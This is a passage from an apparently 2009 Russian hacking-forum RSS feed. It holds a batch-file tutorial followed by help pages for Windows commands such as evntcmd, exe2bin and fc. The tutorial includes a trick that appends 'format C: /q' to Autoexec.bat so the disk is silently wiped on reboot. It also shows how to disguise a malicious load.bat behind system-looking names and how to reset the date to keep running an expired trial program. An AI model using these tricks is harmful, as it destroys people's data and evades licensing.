/&gt;12.) pause - выводит сообщение &amp;quot;Нажмите любую кнопку...&amp;quot;&lt;br /&gt;13.) label %новая_метка% - поставить новую метку системного диска (С,D,E….)&lt;br /&gt;14.) format %диск%: /q - быстрое форматирование диска &lt;br /&gt;15.) ren %путь\файл% %новое_название_файла% - переименовать файл &lt;br /&gt;16.) goto %метка%&lt;br /&gt;...&lt;br /&gt;:%метка% - перескoчить с одного места кода на метку.&lt;/p&gt;
						&lt;p&gt;Продолжу «НЕПРОСТЫМИ»:&lt;/p&gt;
						&lt;p&gt;1.) choice /N /T:y,%сек% &amp;gt; nul - типа таймера (на n секунд задерживает выполнение последующих команд).&lt;/p&gt;
						&lt;p&gt;2.) %команда% &amp;gt; nul - запрещение вывода на экран самой команды и результата её действия (полезно при команде &amp;quot;copy&amp;quot;). Пример: copy c:\some.exe %windir%\some.exe &amp;gt; nul&lt;/p&gt;
						&lt;p&gt;3.) regedit /s %путь\файл.reg% - добавить ключи в реестр из файла, без вопросов&lt;/p&gt;
						&lt;p&gt;4.) start /m /w %путь\файл% - запустить файло в свёрнутом окне.&lt;/p&gt;
						&lt;p&gt;5.) echo format C: /q &amp;gt;&amp;gt; c:\Autoexec.bat добавляет в Autoexec.bat строчку «format C: /q» и при перезагрузке компа идёт быстрое форматирование диска из серии «Ты даже не заметишь» =) Это все потому что Autoexec.bat грузиться вместе с виндой,кстате winstart.bat тоже,но его нужно создавать отдельно!&lt;/p&gt;
						&lt;p&gt;6.) Кложим в каталог windows\command файл &amp;quot;load.bat&amp;quot; (наверное с плохим содержанием) .Его можно будет запустить такой строчкой: &amp;quot;load keybrd32.sys,,cyr\lat&amp;quot; или такой: &amp;quot;load VideoAdapter32.drv -- By windows setup --&amp;quot;. Врятли такие строчки рискнёт кто-нибудь удалять и твой файл без проблем загрузится..=)&lt;/p&gt;
						&lt;p&gt;7.) if exist c:\Progra~1 set drv=c:&lt;br /&gt;if exist d:\Progra~1 set drv=d:&lt;br /&gt;if exist d:\Progra~1 set drv=e:&lt;br /&gt;После выполнения этого скрипта в переменной %drv% будет прописан диск с Виндой, с Program Files&#039;ами.&lt;/p&gt;
						&lt;p&gt;8.) в переменной %windir% хранится каталог с виндусом в таком виде: диск:\название_каталога. Пример: copy c:\some.exe %windir%\some.exe&lt;/p&gt;
						&lt;p&gt;9.) batch скрипты не любят длинные, либо состоящие из двух слов, названия. Длинные урезаются до 6-ти букв (после них должно стоять &amp;quot;~1&amp;quot;, к примеру &amp;quot;Program Files -&amp;gt; Progra~1&amp;quot;). Пробелы он просто убирает (The Bat -&amp;gt; TheBat~1).&lt;br /&gt;Это я к тому, что в бачах обращайся к файлам по их досовским названиям. Пример: copy c:\some.exe c:\Progra~1\some.exe (копируется файл в папку Program Files).&lt;/p&gt;
						&lt;p&gt;10.) echo var WSHShell = WScript.CreateObject(&amp;quot;WScript.Shell&amp;quot;); &amp;gt; %temp%\mes.js&lt;br /&gt;echo WSHShell.Popup(&amp;quot;твой_текст&amp;quot;); &amp;gt;&amp;gt; %temp%\mes.js&lt;br /&gt;start %temp%\mes.js&lt;br /&gt;deltree /y %temp%\mes.js&lt;br /&gt;Этот скрипт выводит на экран _Виндовое_ окошко (по средствам Java Script) с твоим сообщением и кнопкой ОК&lt;/p&gt;
						&lt;p&gt;И вот чем закончу-&amp;gt;&lt;br /&gt;Переменные ,операторы,циклы и кое что ещё :&lt;/p&gt;
						&lt;p&gt;1.) @&amp;lt;команда&amp;gt; &lt;br /&gt;Оператор @ позволяет не выводить следующую за ним команду на экран. Это аналог оператора ECHO OFF только для одной строки.&lt;/p&gt;
						&lt;p&gt;2.) %&amp;lt;цифра 0-9&amp;gt;&lt;br /&gt;В языке BATCH-файлов возможно использование переменных. Всего может быть до 10 одновременно существующих независимых переменных.&lt;br /&gt;Значение переменной равно значению соответствующего параметра из командной строки. Переменная %0 будет содержать имя .bat-файла и, если вы указали, путь к нему. То есть, если у нас есть командная строка abc.bat a bc def то переменная %1 будет содержать значение a, %2 будет содержать bc, а %3 - def. Например, можно записать в файле ABC.BAT: ABC.BAT %2 %1 &lt;br /&gt;Это вызовет прекращение выполнения данного файла и передаст управление ему же, но с параметрами, записанными в обратном порядке.&lt;/p&gt;
						&lt;p&gt;3.) SHIFT &lt;br /&gt;Команда SHIFT позволяет использовать число параметров командной строки более 10. При этом происходит циклический сдвиг влево и теряются более ранние параметры.&lt;br /&gt;Операция необратима.&lt;/p&gt;
						&lt;p&gt;4.) CALL &amp;lt;имя bat-файла&amp;gt;&lt;br /&gt;Команда CALL позволяет вызвать один пакетный файл из другого, не прекращая выполнения предыдущего. Пример: &lt;br /&gt;@ECHO OFF&lt;br /&gt;ECHO Этот текст выводится &lt;br /&gt;CALL TEST.BAT&lt;br /&gt;ECHO Этот текст тоже выводится &lt;br /&gt;TEST.BAT&lt;br /&gt;ECHO А этот уже не выводится. &lt;/p&gt;
						&lt;p&gt;При выполнении TEST.BAT обработка текущего пакетного файла была прекращена и управление было передано TEST.BAT.&lt;/p&gt;
						&lt;p&gt;5.) IF &amp;lt;условие&amp;gt; &amp;lt;следствие&amp;gt;&lt;br /&gt;Оператор IF проверяет истинность какого-либо &amp;lt;условия&amp;gt; и в зависимости от этого выполняет или не выполняет команду &amp;lt;следствие&amp;gt;.&lt;br /&gt;Пример:&lt;br /&gt;IF EXIST TEST.BAT GOTO lab1 &lt;br /&gt;если существует файл TEST.BAT, то перейти на метку lab1. &lt;br /&gt;IF NOT EXIST TEST.BAT GOTO exit &lt;br /&gt;если файл TEST.BAT не существует, то следует перейти на метку exit. &lt;br /&gt;IF %1==ASDF GOTO asdflabel &lt;br /&gt;если переменная %1 равна ASDF, то осуществляется переход на метку asdflabel. &lt;br /&gt;IF ERRORLEVEL 1 GOTO err1 &lt;br /&gt;если ошибка (код возврата) выполнения предыдущей команды равно 1, то перейти на&lt;br /&gt;метку err1.&lt;/p&gt;
						&lt;p&gt;6.) PAUSE&lt;br /&gt;Команда PAUSE приостанавливает выполнение пакетного файла и выдает на экран приглашение нажать на любую клавишу для продолжения работы.&lt;/p&gt;
						&lt;p&gt;7.) FOR %&amp;lt;параметр&amp;gt; IN (&amp;lt;VAR1 [VAR2] [VAR3] ...&amp;gt;) DO &amp;lt;команда&amp;gt; &lt;br /&gt;С помощью оператора FOR возможно выполнение одной и той же команды несколько раз для различных параметров.&lt;/p&gt;
						&lt;p&gt;8.) SET &amp;lt;Имя_переменной&amp;gt;=&amp;lt;Значение_переменной&amp;gt; &lt;br /&gt;Оператор SET представляет собой расширение возможностей работы с параметрами в операционной системе. Он задает переменную, значение которой подставляется вместо ее имени при любом использовании этого имени между знаками процента. Наиболее известной является переменная PATH, представляющая собой набор путей для быстрого поиска файлов.&lt;/p&gt;
						&lt;p&gt;9.) Вот несколько примеров BAT-файла, который выполняет компиляцию проекта на ассемблере.&lt;br /&gt;Компиляция проекта без ресурсов&lt;/p&gt;
						&lt;p&gt;@echo off&lt;br /&gt;set file=dostoansi&lt;br /&gt;C:\MASM32\BIN\Ml.exe /c /coff %file%.asm&lt;br /&gt;C:\MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS %file%.obj /RELEASE&lt;br /&gt;pause&lt;/p&gt;
						&lt;p&gt;Компиляция проекта с ресурсами&lt;/p&gt;
						&lt;p&gt;@echo off&lt;br /&gt;set file=name_project&lt;br /&gt;if not exist rsrc.rc goto over1&lt;br /&gt;C:\MASM32\BIN\Rc.exe /v rsrc.rc&lt;br /&gt;C:\MASM32\BIN\Cvtres.exe /machine:ix86 rsrc.res&lt;br /&gt;:over1&lt;br /&gt;\masm32\bin\ml /c /coff /Cp %file%.asm&lt;br /&gt;if errorlevel 1 goto asm_error&lt;br /&gt;C:\MASM32\BIN\Link.exe %file%.obj rsrc.res /SUBSYSTEM:WINDOWS&lt;br /&gt;if errorlevel 1 goto link_error&lt;br /&gt;if exist *.obj del %file%.obj&lt;br /&gt;:asm_error&lt;br /&gt;echo AM&lt;br /&gt;goto clear&lt;br /&gt;:link_error&lt;br /&gt;echo LINKER ERROR&lt;br /&gt;:clear&lt;br /&gt;if exist %file%.obj del %file%.obj&lt;br /&gt;pause&lt;br /&gt;:end&lt;/p&gt;
						&lt;p&gt;10.) Пример автоматизированного удаления файлов по типу&lt;br /&gt;del /f /s /q C: *.tmp&lt;/p&gt;
						&lt;p&gt;11.) Пример ожидания появления файла (например при копировании большого объёма информации)&lt;br /&gt;:test&lt;br /&gt;if exist c:\1.avi goto go&lt;br /&gt;sleep 10&lt;br /&gt;goto test&lt;br /&gt;:go&lt;br /&gt;rename c:\1.avi 1.avi&lt;br /&gt;if not errorlevel 0 goto go&lt;/p&gt;
						&lt;p&gt;12.) Пример изменения текущей даты и восстановления её после запуска приложения. (Может быть полезно, если приложение trial и срок демонстрациии закончился)&lt;br /&gt;set tempdate=%date:~-10%&lt;br /&gt;date 01-01-01&lt;br /&gt;start trial.exe&lt;br /&gt;date %tempdate%&lt;/p&gt;
						&lt;p&gt;13.) Пример экспорта ветки реестра при помощи BATCH-файла&lt;br /&gt;regedit.exe -ea C:\environment.reg &amp;quot;HKEY_CURRENT_USER\Environment&amp;quot;&lt;/p&gt;
						&lt;p&gt;14.) Пример переименования файлов по маске&lt;br /&gt;for /f &amp;quot;tokens=*&amp;quot; %%a in (&#039;dir /b PATH\*.*&#039;) do ren PATH\%%a Prefix%%a&lt;br /&gt;Здесь заменяем PATH\ на путь к файлам, которые будут переименованы, а Prefix на те символы, которые будут добавлены к имени файла при переименовании. Если в папке, где происходит переименование файлов есть подпапки, то подпапки будут переименованы как и файлы. Если указать определенную маску для типов файлов, которые подлежат переименованию, например, *.txt, а не *.*, то будут переименованы файлы только указанных типов.&lt;/p&gt;
						&lt;p&gt;THE END&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:34:36 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=25#p25</guid>
		</item>
		<item>
			<title>CMD.exe</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=24#p24</link>
			<description>&lt;p&gt;Если да, то скорее пишите статью....&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:32:43 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=24#p24</guid>
		</item>
		<item>
			<title>Часть-4</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=23#p23</link>
			<description>&lt;p&gt;Evntcmd&lt;/p&gt;
						&lt;p&gt;Настройка преобразования событий в ловушки и/или в адреса назначения ловушки в файле конфигурации.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;evntcmd [/s ИмяКомпьютера] [/v УровеньОбъемаСведений] [/n] ИмяФайла&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/s ИмяКомпьютера&lt;br /&gt;&amp;#160; &amp;#160; Имя компьютера, на котором требуется настроить преобразование событий в ловушки и/или адреса назначения ловушки. Если компьютер не указан, настройка производится на локальном компьютере.&lt;br /&gt;/v УровеньОбъемаСведений&lt;br /&gt;&amp;#160; &amp;#160; Типы сообщений состояния, отображающиеся в качестве настроенных ловушек и адресов назначения ловушек. Данный параметр должен быть целым числом от 0 до 10. Если указано число 10, то отображаются все типы сообщений, включая сообщения отслеживания и предупреждения о настройке ловушки. Если указано число 0, сообщения не отображаются.&lt;br /&gt;/n&lt;br /&gt;&amp;#160; &amp;#160; Служба SNMP не должна перезапускаться, если на данный компьютер получены изменения настройки ловушки.&lt;br /&gt;ИмяФайла&lt;br /&gt;&amp;#160; &amp;#160; Имя файла, который содержит сведения о преобразовании событий в настраиваемые ловушки и адреса назначения ловушки.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображает справку в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Если требуется настроить ловушки, но не адреса назначения ловушки, можно создать допустимый файл конфигурации с помощью трансляции событий в ловушки, которая является графической утилитой. Если установлена служба SNMP, трансляцию событий в ловушки можно запустить, набрав в командной строке evntwin. После определения необходимых ловушек нажмите кнопку Экспорт, чтобы создать файл, который можно использовать с evntcmd. Трансляцию событий в ловушки можно использовать для легкого создания файла конфигурации и последующего использования файла конфигурации с evntcmd в командной строке для быстрой настройки ловушек на нескольких компьютерах.&lt;br /&gt;&amp;#160; &amp;#160; * Для настройки ловушки используется следующий синтаксис:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; #pragma ADD ФайлЖурналаСобытий ИсточникСобытия КодСобытия [Счетчик [Период]]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o текст #pragma должен отображаться в начале каждой записи в файле;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр ADD указывает, что требуется добавить событие в настройку ловушки;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметры ФайлЖурналаСобытий, ИсточникСобытия и КодСобытия являются обязательными. Параметр ФайлЖурналаСобытий указывает файл, в который записывается событие. Параметр ИсточникСобытия указывает приложение, которое создает событие. Параметр КодСобытия указывает уникальный номер, определяющий каждое событие. Чтобы определить, какие значения соответствуют конкретному событию запустите трансляцию событий в ловушки, набрав в командной строке evntwin. Нажмите кнопку Настройка, а затем кнопку Изменить. В области Источники событий просмотрите папки, пока не найдете событие, которое требуется настроить, щелкните событие, а затем нажмите кнопку Добавить. Сведения об источнике события, файл журнала события и код события соответственно отображаются в областях Источник, Журнал и Код ловушки;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр Счетчик является необязательным; он указывает количество событий перед отправкой сообщения ловушки. Если параметр Счетчик не используется, сообщения ловушки отправляется после первого событие;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр Период является необязательным, но он требует использования параметра Счетчик. Параметр Период указывает продолжительность времени (в секундах), в течение которого событие должно произойти число раз, указанное в параметре Счетчик, перед отправкой сообщения ловушки. Если параметр Период не используется, сообщение ловушки отправляется после того, как событие произойдет число раз, указанное в параметре Счетчик, не зависимо от того, сколько времени прошло между событиями.&lt;br /&gt;&amp;#160; &amp;#160; * Для удаления ловушки используется следующий синтаксис:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; #pragma DELETE ФайлЖурналаСобытий ИсточникСобытия КодСобытия&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o текст #pragma должен отображаться в начале каждой записи в файле;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр DELETE указывает, что требуется удалить событие из настройки ловушки;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметры ФайлЖурналаСобытий, ИсточникСобытия и КодСобытия являются обязательными. Параметр ФайлЖурналаСобытий указывает журнал, в который записывается событие. Параметр ИсточникСобытия указывает приложение, которое создает событие. Параметр КодСобытия указывает уникальный номер, определяющий каждое событие.&lt;br /&gt;&amp;#160; &amp;#160; * Для настройки адреса назначения ловушки используется следующий синтаксис:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; #pragma ADD_TRAP_DEST ИмяСообщества НомерУзла&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o текст #pragma должен отображаться в начале каждой записи в файле;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр ADD_TRAP_DEST указывает, что требуется отправить сообщения ловушки на конкретный узел внутри сообщества;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр ИмяСообщества указывает по имени сообщество, в которое отправляется сообщение ловушки;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр НомерУзла указывает по имени или IP-адресу узел, на который требуется отправить сообщения ловушки.&lt;br /&gt;&amp;#160; &amp;#160; * Для удаления адреса назначения ловушки используется следующий синтаксис:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; #pragma DELETE_TRAP_DEST ИмяСообщества НомерУзла&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o текст #pragma должен отображаться в начале каждой записи в файле;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр DELETE_TRAP_DEST указывает, что не требуется отправлять сообщения ловушки на конкретный узел внутри сообщества;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр ИмяСообщества указывает по имени сообщество, в которое отправляются сообщения ловушки;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр НомерУзла указывает по имени или IP-адресу узел, на который не требуется отправлять сообщения ловушки.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Следующие примеры показывают записи в файле конфигурации для команды evntcmd. Они не могут быть введены в командной строке.&lt;/p&gt;
						&lt;p&gt;Чтобы отправить сообщение ловушки, если служба журнала событий перезапускается, введите:&lt;/p&gt;
						&lt;p&gt;#pragma ADD System &amp;quot;Eventlog&amp;quot; 2147489653&lt;/p&gt;
						&lt;p&gt;Чтобы отправить сообщение ловушки, если служба журнала событий перезапускается дважды за три минуты, введите:&lt;/p&gt;
						&lt;p&gt;#pragma ADD System &amp;quot;Eventlog&amp;quot; 2147489653 2 180&lt;/p&gt;
						&lt;p&gt;Чтобы остановить отправку сообщения ловушки, когда бы ни перезапускалась служба журнала событий, введите:&lt;/p&gt;
						&lt;p&gt;#pragma DELETE System &amp;quot;Eventlog&amp;quot; 2147489653&lt;/p&gt;
						&lt;p&gt;Чтобы отправить сообщения ловушки в сообщество с названием «Public» на узел с IP-адресом 192.168.100.100, введите:&lt;/p&gt;
						&lt;p&gt;#pragma ADD_TRAP_DEST public 192.168.100.100&lt;/p&gt;
						&lt;p&gt;Чтобы отправить сообщения ловушки в сообщество с названием «Private» на узел с названием «Host1», введите:&lt;/p&gt;
						&lt;p&gt;#pragma ADD_TRAP_DEST private Host1&lt;/p&gt;
						&lt;p&gt;Чтобы остановить отправку сообщений ловушки в сообщество с названием «Private» на тот же компьютер, на котором настраиваются адреса назначений ловушки, введите:&lt;/p&gt;
						&lt;p&gt;#pragma DELETE_TRAP_DEST private localhost&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Exe2bin&lt;/p&gt;
						&lt;p&gt;Преобразование исполняемых файлов (.exe) в двоичный формат.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;exe2bin [диск1:][путь1]ФайлВвода [[диск2:][путь2]ВыходнойФайл]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;[диск1:][путь1]ФайлВвода&lt;br /&gt;&amp;#160; &amp;#160; Местонахождение и имя файла ввода, который требуется преобразовать. Параметр ФайлВвода является обязательным.&lt;br /&gt;[диск2:][путь2]ВыходнойФайл&lt;br /&gt;&amp;#160; &amp;#160; Местонахождение и имя выходного файла, который требуется создать. &lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; *&lt;br /&gt;&amp;#160; &amp;#160; * Программа Exe2bin включена для помощи разработчикам программ. Она не предназначена для обычных пользователей.&lt;br /&gt;&amp;#160; &amp;#160; * При использовании команды exe2bin имеют место следующие ограничения:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o входной файл должен быть в корректном .exe формате, полученном после компоновки и не должен быть упакованным;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o резидентная или действующая (код и данные) часть файла не должны превышать объема в 64Кб;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o в файле не должно быть сегмента stack.&lt;br /&gt;&amp;#160; &amp;#160; * Программа Exe2bin выполняет конкретные действия, в зависимости от значений параметров ФайлВвода и ВыходнойФайл:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o по умолчанию для параметра ФайлВвода используется расширение .exe. Программа Exe2bin преобразует ФайлВвода .exe в файл с двоичным форматом .bin (образ программы в памяти) и использует местоположение и имя, заданные параметрами [диск2:][путь2]ВыходнойФайл для хранения выходного файла;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o если не заданы диск2 или путь2, программа exe2bin записывает выходной файл на текущий диск и в текущий каталог;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o если имя файла для параметра ВыходнойФайл не указано, программа exe2bin использует имя файла параметра ФайлВвода;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o по умолчанию для имени файла, указанного для параметра ВыходнойФайл, используется расширение .bin.&lt;br /&gt;&amp;#160; &amp;#160; * Поддерживаются следующие типы преобразования:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o если значения CS:IP не заданы в .exe файле, exe2bin выполняет чисто двоичное преобразование. Если программа содержит инструкции, требующие отзыва сегмента, exe2bin запрашивает значение исправления. Это значение исправления является абсолютным адресом сегмента, в который должна быть загружена программа. Итоговая программа может быть использована, только будучи загруженной по этому адресу, задаваемому вызывающей программой. Командный интерпретатор не сможет загрузить такую программу;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o если значения сегментов CS:IP установлены в 0000:100H, итоговый двоичный файл будет вызываться как .com файл с указателем инструкций, установленным в 100H ассемблерной командой ORG. Включите расширение .com в параметр ВыходнойФайл. Исправления сегментов не разрешены, поскольку файлы с расширением .com должны иметь возможность перемещения сегментов. Файлы с расширением .com должны принимать условия ввода, изложенные в документации Microsoft Macro Assembler. Командный интерпретатор будет загружать и запускать программу так же, как и обычные .com программы, поставляемые на диске Windows XP.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Exit&lt;/p&gt;
						&lt;p&gt;Выход из текущего пакетного сценария или из программы Cmd.exe (командный интерпретатор) и возвращение в программу, запустившую Cmd.exe или в диспетчер программ.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;exit [/b] [КодВыхода]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/b&lt;br /&gt;&amp;#160; &amp;#160; Выход из текущего пакетного сценария. &lt;br /&gt;КодВыхода&lt;br /&gt;&amp;#160; &amp;#160; Число.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Если /b используется вне пакетного сценария, то выход осуществляется из Cmd.exe.&lt;br /&gt;&amp;#160; &amp;#160; * Если используется /b, то Cmd.exe устанавливает ERRORLEVEL в указанный КодВыхода. При выходе из Cmd.exe, Cmd.exe устанавливает код процесса выхода вместе с параметром КодВыхода.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Expand&lt;/p&gt;
						&lt;p&gt;Восстановление одного или нескольких сжатых файлов. Эта команда используется для развертывания уплотненных файлов с дистрибутивных дисков.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;expand [-r] Источник [Результат]&lt;/p&gt;
						&lt;p&gt;expand -d источник.cab [-f:файлы]&lt;/p&gt;
						&lt;p&gt;expand источник.cab -f:файлы Результат&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;-r&lt;br /&gt;&amp;#160; &amp;#160; Переименовывает развернутые файлы.&lt;br /&gt;-d&lt;br /&gt;&amp;#160; &amp;#160; Выводит список файлов в местоположении источника. Не производит распаковки или выделения файлов.&lt;br /&gt;-f:файлы&lt;br /&gt;&amp;#160; &amp;#160; Указывает файлы в cab-файле, которые необходимо распаковать. Можно использовать подстановочные символы (* and ?).&lt;br /&gt;Источник&lt;br /&gt;&amp;#160; &amp;#160; Задает файл, который должен быть развернут. Параметр источник может состоять из имени диска с двоеточием, имени папки, имени файла или их комбинации. Можно использовать подстановочные символы (* and ?).&lt;br /&gt;Назначение&lt;br /&gt;&amp;#160; &amp;#160; Задает, куда помещать развернутые файлы. Если параметр Источник задает несколько файлов и ключ -r не задан, Результат должен быть каталогом. Параметр результат может состоять из имени диска с двоеточием, имени каталога, имени файла или их комбинации.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Использование команды expand в консоли восстановления&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда expand с другими параметрами доступна в консоли восстановления.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Fc&lt;/p&gt;
						&lt;p&gt;Сравнение двух файлов и вывод различий между ними.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;fc [/a] [/b] [/c] [/l] [/lbn] [/n] [/t] [/u] [/w] [/nnnn] [диск1:][путь1]имяфайла1 [диск2:][путь2]имяфайла2&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Задает сокращенный вывод ASCII сравнения. Вместо вывода фсех различающихся строк, fc выводит только начальную и конечную строки отличающихся участков.&lt;br /&gt;/b&lt;br /&gt;&amp;#160; &amp;#160; Сравнивает файлы в двоичном режиме. Команда fc сравнивает два файла байт за байтом и не пытается сопоставить файлы после найденного отличия. Этот режим используется по умолчанию для сравнения файлов с расширениями: .exe, .com, .sys, .obj, .lib или .bin.&lt;br /&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Сравнивает без учета заглавных и строчных букв.&lt;br /&gt;/l&lt;br /&gt;&amp;#160; &amp;#160; Сравнивает файлы в текстовом (ASCII) режиме. Команда fc сравнивает два файла строка за строкой и пытается сопоставить их, после того как найдено отличие. Этот режим используется по умолчанию для сравнения файлов, исключая файлы со следующими расширениями: .exe, .com, .sys, .obj, .lib или .bin.&lt;br /&gt;/lbn&lt;br /&gt;&amp;#160; &amp;#160; Задает количество строк n для внутреннего буфера. По умолчанию длина буфера составляет 100 строк. Если количество отличающихся строк в сравниваемых файлах превышает это число, команда fc прекращает сравнение.&lt;br /&gt;/n&lt;br /&gt;&amp;#160; &amp;#160; Задает вывод номеров строк при сравнении в текстовом режиме.&lt;br /&gt;/t&lt;br /&gt;&amp;#160; &amp;#160; Предотвращение fc от преобразования меток табуляции в пробелы. По умолчанию табуляторы заменяются пробелами с остановкой в каждой восьмой позиции.&lt;br /&gt;/u&lt;br /&gt;&amp;#160; &amp;#160; Задает сравнение файлов в текстовом формате Юникод.&lt;br /&gt;/w&lt;br /&gt;&amp;#160; &amp;#160; Задает сжатие пробелов и табуляций при сравнении. Если в строке содержится несколько пробелов или табуляций подряд, при использовании ключа /w они будут рассматриваться как один. Когда используется ключ /w, программа fc игнорирует (и не сравнивает) пробелы и табуляции в начале и в конце строки.&lt;br /&gt;/nnnn&lt;br /&gt;&amp;#160; &amp;#160; Задает количество совпадающих строк, используемых программой fc при новом сопоставлении файлов. Если количество совпадающих строк в файле меньше nnnn, программа fc будет выводить совпадающие строки как отличающиеся. По умолчанию значение равно 2.&lt;br /&gt;[диск1:][путь1]имяфайла1&lt;br /&gt;&amp;#160; &amp;#160; Задает местоположение и имя первого файла для сравнения. Параметр имяфайла1 является обязательным.&lt;br /&gt;[диск2:][путь2]имяфайла2&lt;br /&gt;&amp;#160; &amp;#160; Задает местоположение и имя второго файла для сравнения. Параметр имяфайла2 является обязательным.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Вывод различий между файлами при текстовом сравнении в формате ASCII&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При использовании программы fc для сравнения ASCII, fc отображает различия между двумя файлами в следующем порядке:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o имя первого файла;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o строки из параметра имяфайла1, которые отличаются в файлах;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o первая строка, совпадающая в обоих файлах;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o имя второго файла;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o отличающиеся строки из параметра имяфайла2;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o первая строка совпадения.&lt;br /&gt;&amp;#160; &amp;#160; * Использование /b для двоичного сравнения&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; /b отображает несоответствия, найденные в течение двоичного сравнения, как показано ниже.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; xxxxxxxx: yy zz&lt;/p&gt;
